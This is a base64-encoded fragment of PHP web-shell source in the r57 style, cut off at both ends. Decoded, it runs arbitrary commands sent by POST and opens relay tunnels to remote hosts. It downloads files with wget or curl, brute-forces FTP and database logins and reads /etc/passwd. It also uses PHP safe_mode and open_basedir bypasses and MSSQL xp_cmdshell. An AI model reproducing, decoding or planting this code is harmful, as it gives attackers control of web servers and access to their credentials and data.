ZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkNCnsNCiBjZigiL3RtcC9kcCIsJGRhdGFwaXBlX3BsKTsNCiAkcDI9d2hpY2goInBlcmwiKTsNCiAkYmxhaCA9IGV4KCRwMi4iIC90bXAvZHAgIi4kX1BPU1RbJ2xvY2FsX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfaG9zdCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9wb3J0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgZHAiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2xvY2FsX3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX2hvc3QnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJDIikpDQp7DQogY2YoIi90bXAvZHBjLmMiLCRkYXRhcGlwZV9jKTsNCiAkYmxhaCA9IGV4KCJnY2MgLW8gL3RtcC9kcGMgL3RtcC9kcGMuYyIpOw0KIEB1bmxpbmsoIi90bXAvZHBjLmMiKTsNCiAkYmxhaCA9IGV4KCIvdG1wL2RwYyAiLiRfUE9TVFsnbG9jYWxfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9wb3J0J10uIiAiLiRfUE9TVFsncmVtb3RlX2hvc3QnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBkcGMiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2FsaWFzJ10pICYmIGlzc2V0KCRhbGlhc2VzWyRfUE9TVFsnYWxpYXMnXV0pKSB7ICRfUE9TVFsnY21kJ10gPSAkYWxpYXNlc1skX1BPU1RbJ2FsaWFzJ11dOyB9DQppZiAoIWVtcHR5KCRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXSkpDQp7DQppZighZW1wdHkoJF9QT1NUWyduZXdfbmFtZSddKSkgeyAkbmZuID0gJF9QT1NUWyduZXdfbmFtZSddOyB9DQplbHNlIHsgJG5mbiA9ICRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXTsgfQ0KQGNvcHkoJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsndG1wX25hbWUnXSwNCiAgICAgICAgICAgICRfUE9TVFsnZGlyJ10uIi8iLiRuZm4pDQogICAgICBvciBwcmludCgiPGZvbnQgY29sb3I9V2hpdGUgZmFjZT1GaXhlZHN5cz48ZGl2IGFsaWduPWNlbnRlcj5FcnJvciB1cGxvYWRpbmcgZmlsZSAiLiRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXS4iPC9kaXY+PC9mb250PiIpOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ3dpdGgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtX2ZpbGUnXSkgJiYgIWVtcHR5KCRfUE9TVFsnbG9jX2ZpbGUnXSkpDQp7DQogc3dpdGNoKCRfUE9TVFsnd2l0aCddKQ0KIHsNCiBjYXNlIHdnZXQ6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCd3Z2V0JykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIC1PICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgZmV0Y2g6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdmZXRjaCcpLiIgLW8gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiAtcCAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlIGx5bng6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlIGxpbmtzOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiA+ICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgR0VUOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnR0VUJykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQogYnJlYWs7DQogY2FzZSBjdXJsOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnY3VybCcpLiIgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiAtbyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiB9DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV91cCIgfHwgJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX2Rvd24iKSkNCiB7DQogbGlzdCgkZnRwX3NlcnZlciwkZnRwX3BvcnQpID0gc3BsaXQoIjoiLCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOw0KIGlmKGVtcHR5KCRmdHBfcG9ydCkpIHsgJGZ0cF9wb3J0ID0gMjE7IH0NCiAkY29ubmVjdGlvbiA9IEBmdHBfY29ubmVjdCAoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCiBpZighJGNvbm5lY3Rpb24pIHsgZXJyKDMpOyB9DQogZWxzZQ0KICB7DQogIGlmKCFAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2xvZ2luJ10sJF9QT1NUWydmdHBfcGFzc3dvcmQnXSkpIHsgZXJyKDQpOyB9DQogIGVsc2UNCiAgIHsNCiAgIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV9kb3duIikgeyBpZihjaG9wKCRfUE9TVFsnbG9jX2ZpbGUnXSk9PSRkaXIpIHsgJF9QT1NUWydsb2NfZmlsZSddPSRkaXIuKCghJHVuaXgpPygnXFwnKTooJy8nKSkuYmFzZW5hbWUoJF9QT1NUWydmdHBfZmlsZSddKTsgfSBAZnRwX2dldCgkY29ubmVjdGlvbiwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydmdHBfZmlsZSddLCRfUE9TVFsnbW9kZSddKTsJfQ0KICAgaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX3VwIikgICB7IEBmdHBfcHV0KCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2ZpbGUnXSwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydtb2RlJ10pOwl9DQogICB9DQogIH0NCiBAZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTsNCiAkX1BPU1RbJ2NtZCddID0gIiI7DQogfQ0KDQogaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICgoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpIHx8ICgkX1BPU1RbJ2NtZCddPT0iZGJfYnJ1dGUiKSkpDQogIHsNCiAgaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpew0KICAgbGlzdCgkZnRwX3NlcnZlciwkZnRwX3BvcnQpID0gc3BsaXQoIjoiLCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOw0KICAgaWYoZW1wdHkoJGZ0cF9wb3J0KSkgeyAkZnRwX3BvcnQgPSAyMTsgfQ0KICAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QgKCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7DQogIH1lbHNlIGlmKCRfUE9TVFsnY21kJ109PSJkYl9icnV0ZSIpew0KICAgICRjb25uZWN0aW9uID0gMTsNCiAgfQ0KICBpZighJGNvbm5lY3Rpb24pIHsgZXJyKDMpOyAkX1BPU1RbJ2NtZCddID0gIiI7IH0NCiAgZWxzZSBpZigoJF9QT1NUWydicnV0ZV9tZXRob2QnXT09J3Bhc3N3ZCcpICYmICghJHVzZXJzPWdldF91c2VycygnL2V0Yy9wYXNzd2QnKSkpeyBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxmb250IGNvbG9yPXJlZCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NiddLiI8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQ0KICBlbHNlIGlmKCgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0nZGljJykgJiYgKCEkdXNlcnM9Z2V0X3VzZXJzKCRfUE9TVFsnZGljdGlvbmFyeSddKSkpeyBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxmb250IGNvbG9yPXJlZCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj5DYW5cJ3QgZ2V0IHBhc3N3b3JkIGxpc3Q8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQ0KICBpZigkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIil7QGZ0cF9jbG9zZSgkY29ubmVjdGlvbik7fQ0KIH0NCg0KIGVjaG8gJHRhYmxlX3VwMzsNCmlmIChlbXB0eSgkX1BPU1RbJ2NtZCddKSYmISRzYWZlX21vZGUpIHsgJF9QT1NUWydjbWQnXT0oISR1bml4KT8oImRpciIpOigibHMgLWxpYSIpOyB9DQplbHNlIGlmKGVtcHR5KCRfUE9TVFsnY21kJ10pJiYkc2FmZV9tb2RlKXsgJF9QT1NUWydjbWQnXT0ic2FmZV9kaXIiOyB9DQplY2hvICRmb250LiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxJ10uIjogPGI+Ii4kX1BPU1RbJ2NtZCddLiI8L2I+PC9mb250PjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPW1haW4+PGI+PGRpdiBhbGlnbj1jZW50ZXI+PHRleHRhcmVhIG5hbWU9cmVwb3J0IGNvbHM9MTIxIHJvd3M9MTU+IjsNCg0KZnVuY3Rpb24gZG96aXAxKCRsaW5rLCRmaWxlKQ0Kew0KICAgJGZwID0gQGZvcGVuKCRsaW5rLCJyIik7DQogICB3aGlsZSghZmVvZigkZnApKQ0KICAgew0KICAgICAgICRjb250Lj0gZnJlYWQoJGZwLDEwMjQpOw0KICAgfQ0KICAgZmNsb3NlKCRmcCk7DQoNCiAgICRmcDIgPSBAZm9wZW4oJGZpbGUsInciKTsNCiAgIGZ3cml0ZSgkZnAyLCRjb250KTsNCiAgIGZjbG9zZSgkZnAyKTsNCn0NCmlmIChpc3NldCgkX1BPU1RbJ2Z1bnppcCddKSkNCnsNCmRvemlwMSgkX1BPU1RbJ2Z1bnppcCddLCRfUE9TVFsnZnppcCddKTsNCn0NCmlmKGVtcHR5KCRfUE9TVFsncm9vdCddKSl7DQp9IGVsc2Ugew0KICAgJHJvb3QgPSAkX1BPU1RbJ3Jvb3QnXTsgfQ0KDQoNCg0KDQogICRjID0gMDsgJEQgPSBhcnJheSgpOw0KICBzZXRfZXJyb3JfaGFuZGxlcigiZWgiKTsNCg0KICAkY2hhcnMgPSAiXy0uMDEyMzQ1Njc4OTBhYmNkZWZnaGlqa2xubW9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIjsNCg0KICBmb3IoJGk9MDsgJGkgPCBzdHJsZW4oJGNoYXJzKTsgJGkrKyl7DQogICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfSI7DQoNCiAgJHByZXZEID0gJERbY291bnQoJEQpLTFdOw0KICBnbG9iKCRwYXRoLiIqIik7DQoNCiAgICAgICAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RCl7DQoNCiAgICAgICAgZm9yKCRqPTA7ICRqIDwgc3RybGVuKCRjaGFycyk7ICRqKyspew0KDQogICAgICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfSI7DQoNCiAgICAgICAgICAgJHByZXZEMiA9ICREW2NvdW50KCREKS0xXTsNCiAgICAgICAgICAgZ2xvYigkcGF0aC4iKiIpOw0KDQogICAgICAgICAgICAgIGlmKCREW2NvdW50KCREKS0xXSAhPSAkcHJldkQyKXsNCg0KDQogICAgICAgICAgICAgICAgIGZvcigkcD0wOyAkcCA8IHN0cmxlbigkY2hhcnMpOyAkcCsrKXsNCg0KICAgICAgICAgICAgICAgICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX17JGNoYXJzWyRwXX0iOw0KDQogICAgICAgICAgICAgICAgICRwcmV2RDMgPSAkRFtjb3VudCgkRCktMV07DQogICAgICAgICAgICAgICAgIGdsb2IoJHBhdGguIioiKTsNCg0KICAgICAgICAgICAgICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEMyl7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICBmb3IoJHI9MDsgJHIgPCBzdHJsZW4oJGNoYXJzKTsgJHIrKyl7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1skcF19eyRjaGFyc1skcl19IjsNCiAgICAgICAgICAgICAgICAgICAgICAgZ2xvYigkcGF0aC4iKiIpOw0KDQogICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgIH0NCg0KICAgICAgICB9DQoNCiAgICAgICAgfQ0KDQogIH0NCg0KICAkRCA9IGFycmF5X3VuaXF1ZSgkRCk7DQoNCg0KDQoNCiAgZm9yZWFjaCgkRCBhcyAkaXRlbSkNCiAgaWYoaXNzZXQoJF9SRVFVRVNUWydyb290J10pKQ0KICBlY2hvICJ7JGl0ZW19XG4iOw0KDQoNCg0KDQogIGZ1bmN0aW9uIGVoKCRlcnJubywgJGVycnN0ciwgJGVycmZpbGUsICRlcnJsaW5lKXsNCg0KICAgICBnbG9iYWwgJEQsICRjLCAkaTsNCiAgICAgcHJlZ19tYXRjaCgiL1NBRkVcIE1PREVcIFJlc3RyaWN0aW9uXCBpblwgZWZmZWN0XC4uKndob3NlXCB1aWRcIGlzKC4qKWlzXCBub3RcIGFsbG93ZWRcIHRvXCBhY2Nlc3MoLiopb3duZWQgYnkgdWlkKC4qKS8iLCAkZXJyc3RyLCAkbyk7DQogICAgIGlmKCRvKXsgJERbJGNdID0gJG9bMl07ICRjKys7fQ0KDQogIH0NCg0KaWYoJHNhZmVfbW9kZSkNCnsNCiBzd2l0Y2goJF9QT1NUWydjbWQnXSkNCiB7DQogY2FzZSAnc2FmZV9kaXInOg0KICAkZD1AZGlyKCRkaXIpOw0KICBpZiAoJGQpDQogICB7DQogICB3aGlsZSAoZmFsc2UhPT0oJGZpbGU9JGQtPnJlYWQoKSkpDQogICAgew0KICAgICBpZiAoJGZpbGU9PSIuIiB8fCAkZmlsZT09Ii4uIikgY29udGludWU7DQogICAgIEBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICBsaXN0ICgkZGV2LCAkaW5vZGUsICRpbm9kZXAsICRubGluaywgJHVpZCwgJGdpZCwgJGlub2RldiwgJHNpemUsICRhdGltZSwgJG10aW1lLCAkY3RpbWUsICRic2l6ZSkgPSBzdGF0KCRmaWxlKTsNCiAgICAgaWYoISR1bml4KXsNCiAgICAgZWNobyBkYXRlKCJkLm0uWSBIOmkiLCRtdGltZSk7DQogICAgIGlmKEBpc19kaXIoJGZpbGUpKSBlY2hvICIgIDxESVI+ICI7IGVsc2UgcHJpbnRmKCIlIDdzICIsJHNpemUpOw0KICAgICB9DQogICAgIGVsc2V7DQogICAgICRvd25lciA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgJGdyZ2lkID0gQHBvc2l4X2dldGdyZ2lkKCRnaWQpOw0KICAgICBlY2hvICRpbm9kZS4iICI7DQogICAgIGVjaG8gcGVybXMoQGZpbGVwZXJtcygkZmlsZSkpOw0KICAgICBwcmludGYoIiUgNGQgJSA5cyAlIDlzICU3cyAiLCRubGluaywkb3duZXJbJ25hbWUnXSwkZ3JnaWRbJ25hbWUnXSwkc2l6ZSk7DQogICAgIGVjaG8gZGF0ZSgiZC5tLlkgSDppICIsJG10aW1lKTsNCiAgICAgfQ0KICAgICBlY2hvICIkZmlsZVxuIjsNCiAgICB9DQogICAkZC0+Y2xvc2UoKTsNCiAgIH0NCiAgZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS5fdGV4dDI5XTsNCiBicmVhazsNCiAgY2FzZSAndGVzdDEnOg0KICAkY2kgPSBAY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3Rlc3QxX2ZpbGUnXS4iIik7DQogICRjZiA9IEBjdXJsX2V4ZWMoJGNpKTsNCiAgZWNobyAkY2Y7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0Mic6DQogIEBpbmNsdWRlKCRfUE9TVFsndGVzdDJfZmlsZSddKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q0JzoNCiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pKSB7ICRfUE9TVFsndGVzdDRfcG9ydCddID0gIjE0MzMiOyB9DQogICRkYiA9IEBtc3NxbF9jb25uZWN0KCdsb2NhbGhvc3QsJy4kX1BPU1RbJ3Rlc3Q0X3BvcnQnXSwkX1BPU1RbJ3Rlc3Q0X21sJ10sJF9QT1NUWyd0ZXN0NF9tcCddKTsNCiAgaWYoJGRiKQ0KICAgew0KICAgaWYoQG1zc3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3Q0X21kJ10sJGRiKSkNCiAgICB7DQogICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJjcmVhdGUgdGFibGUgcjU3X3RlbXBfdGFibGUgKCBzdHJpbmcgVkFSQ0hBUiAoNTAwKSBOVUxMKSIsJGRiKTsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJpbnNlcnQgaW50byByNTdfdGVtcF90YWJsZSBFWEVDIG1hc3Rlci5kYm8ueHBfY21kc2hlbGwgJyIuJF9QT1NUWyd0ZXN0NF9maWxlJ10uIiciLCRkYik7DQogICAgICRyZXMgPSBtc3NxbF9xdWVyeSgic2VsZWN0ICogZnJvbSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCiAgICAgd2hpbGUoKCRyb3c9QG1zc3FsX2ZldGNoX3JvdygkcmVzKSkpDQogICAgICB7DQogICAgICBlY2hvICRyb3dbMF0uIlxyXG4iOw0KICAgICAgfQ0KICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCiAgICB9DQogICAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7DQogICBAbXNzcWxfY2xvc2UoJGRiKTsNCiAgIH0NCiAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gTVNTUUwgc2VydmVyIjsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q1JzoNCiAgaWYgKEBmaWxlX2V4aXN0cygnL3RtcC9tYl9zZW5kX21haWwnKSkgQHVubGluaygnL3RtcC9tYl9zZW5kX21haWwnKTsNCiAgJGV4dHJhID0gIi1DICIuJF9QT1NUWyd0ZXN0NV9maWxlJ10uIiAtWCAvdG1wL21iX3NlbmRfbWFpbCI7DQogIEBtYl9zZW5kX21haWwoTlVMTCwgTlVMTCwgTlVMTCwgTlVMTCwgJGV4dHJhKTsNCiAgJGxpbmVzID0gZmlsZSAoJy90bXAvbWJfc2VuZF9tYWlsJyk7DQogIGZvcmVhY2ggKCRsaW5lcyBhcyAkbGluZSkgeyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxpbmUpLiJcclxuIjsgfQ0KICBicmVhazsNCiAgY2FzZSAndGVzdDYnOg0KICAkc3RyZWFtID0gQGltYXBfb3BlbignL2V0Yy9wYXNzd2QnLCAiIiwgIiIpOw0KICAkZGlyX2xpc3QgPSBAaW1hcF9saXN0KCRzdHJlYW0sIHRyaW0oJF9QT1NUWyd0ZXN0Nl9maWxlJ10pLCAiKiIpOw0KICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkZGlyX2xpc3QpOyAkaSsrKSBlY2hvICRkaXJfbGlzdFskaV0uIlxyXG4iOw0KICBAaW1hcF9jbG9zZSgkc3RyZWFtKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q3JzoNCiAgJHN0cmVhbSA9IEBpbWFwX29wZW4oJF9QT1NUWyd0ZXN0N19maWxlJ10sICIiLCAiIik7DQogICRzdHIgPSBAaW1hcF9ib2R5KCRzdHJlYW0sIDEpOw0KICBlY2hvICRzdHI7DQogIEBpbWFwX2Nsb3NlKCRzdHJlYW0pOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDgnOg0KICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWyd0ZXN0OF9maWxlMSddLCAkX1BPU1RbJ3Rlc3Q4X2ZpbGUyJ10pKSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTgnXTsNCiAgZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTknXTsNCiAgYnJlYWs7DQpjYXNlICdjVVJMJzoNCiAgIGlmKGVtcHR5KCRfUE9TVFsnU25JcEVyX1NBJ10pKXsNCg0KDQp9IGVsc2Ugew0KJGN1cmw9JF9QT1NUWydTbklwRXJfU0EnXTsNCiRjaCA9Y3VybF9pbml0KCJmaWxlOi8vLyIuJGN1cmwuIlx4MDAvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi5fX0ZJTEVfXyk7DQpjdXJsX2V4ZWMoJGNoKTsNCnZhcl9kdW1wKGN1cmxfZXhlYygkY2gpKTsNCmVjaG8gIjwvdGV4dGFyZWE+PC9DRU5URVI+IjsNCg0KfQ0KYnJlYWs7DQpjYXNlICdjb3B5JzoNCg0KaWYoZW1wdHkoJHNubikpew0KaWYoZW1wdHkoJF9HRVRbJ3NubiddKSl7DQppZihlbXB0eSgkX1BPU1RbJ3NubiddKSl7DQoNCn0gZWxzZSB7DQokdTFwPSRfUE9TVFsnc25uJ107DQp9DQp9IGVsc2Ugew0KJHUxcD0kX0dFVFsnc25uJ107DQp9DQp9DQogICR1MXA9IiI7IC8vIEZpbGUgdG8gSW5jbHVkZS4uLiBvciB1c2UgX0dFVCBfUE9TVA0KJHR5bWN6YXM9IiI7IC8vIFNldCAkdHltY3phcyB0byBkaXIgd2hlcmUgeW91IGhhdmUgNzc3IGxpa2UgL3Zhci90bXANCg0KDQokdGVtcD10ZW1wbmFtKCR0eW1jemFzLCAiY3giKTsNCg0KaWYoY29weSgiY29tcHJlc3MuemxpYjovLyIuJHNubiwgJHRlbXApKXsNCiR6cm9kbG8gPSBmb3BlbigkdGVtcCwgInIiKTsNCiR0ZWtzdCA9IGZyZWFkKCR6cm9kbG8sIGZpbGVzaXplKCR0ZW1wKSk7DQpmY2xvc2UoJHpyb2Rsbyk7DQplY2hvICIiLmh0bWxzcGVjaWFsY2hhcnMoJHRla3N0KS4iIjsNCnVubGluaygkdGVtcCk7DQplY2hvICI8L3RleHRhcmVhPjwvQ0VOVEVSPiI7DQp9DQpicmVhazsNCmNhc2UgJ2luaV9yZXN0b3JlJzoNCiBpZihlbXB0eSgkX1BPU1RbJ2luaV9yZXN0b3JlJ10pKXsNCn0gZWxzZSB7DQoNCiRpbmk9JF9QT1NUWydpbmlfcmVzdG9yZSddOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQpyZXF1aXJlX29uY2UoIiRpbmkiKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQplY2hvICI8L3RleHRhcmVhPjwvQ0VOVEVSPiI7DQp9DQpicmVhazsNCmNhc2UgJ2dsb2InOg0KZnVuY3Rpb24gcmVnX2dsb2IoKQ0Kew0KJGNoZW1pbj0kX1JFUVVFU1RbJ2dsb2InXTsNCiRmaWxlcyA9IGdsb2IoIiRjaGVtaW4qIik7DQoNCg0KZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkgew0KDQogICBlY2hvICIkZmlsZW5hbWVcbiI7DQoNCn0NCn0NCg0KaWYoaXNzZXQoJF9SRVFVRVNUWydnbG9iJ10pKQ0Kew0KcmVnX2dsb2IoKTsNCn0NCg0KYnJlYWs7DQpjYXNlICd6ZW5kJzoNCiBpZihlbXB0eSgkX1BPU1RbJ3plbmQnXSkpew0KfSBlbHNlIHsNCg0KJGRlemVuZD0kX1BPU1RbJ3plbmQnXTsNCmluY2x1ZGUoJF9QT1NUWyd6ZW5kJ10pOw0KcHJpbnRfcigkR0xPQkFMUyk7DQpyZXF1aXJlX29uY2UoIiRkZXplbmQiKTsNCmVjaG8gIjwvdGV4dGFyZWE+PC9wPiI7DQp9DQpicmVhazsNCiAgY2FzZSAncGx1Z2luJzoNCiAgaWYgKCRfUE9TVFsncGx1Z2luJ10gKXsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCR1aWQ9MDskdWlkPDYwMDAwOyR1aWQrKyl7ICAgLy9jYXQgL2V0Yy9wYXNzd2QNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXJhID0gcG9zaXhfZ2V0cHd1aWQoJHVpZCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhcmEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlIChsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICIkdmFsOiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPiI7DQoNCiAgICAgICAgICAgICB9DQogICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdjb21tYW5kJzoNCiAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsnY29tbWFuZCddKSkgew0KDQogICAgICAgICAgICAgICAgaWYgKCRtZXRob2Q9PSJzeXN0ZW0iKSB7DQogICAgICAgICAgICAgICAgc3lzdGVtKCRfUE9TVFsnY29tbWFuZCddKTsNCiAgICAgICAgICAgICAgICBlY2hvICJGdW5jdGlvbnMgc3lzdGVtIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRtZXRob2Q9PSJwYXNzdGhydSIpIHsNCiAgICAgICAgICAgICAgICBwYXNzdGhydSgkX1BPU1RbJ2NvbW1hbmQnXSk7DQogICAgICAgICAgICAgICAgZWNobyAiRnVuY3Rpb25zIHBhc3N0aHJ1IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRtZXRob2Q9PSJleGVjIikgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9IGV4ZWMoJF9QT1NUWydjb21tYW5kJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkc3RyaW5nO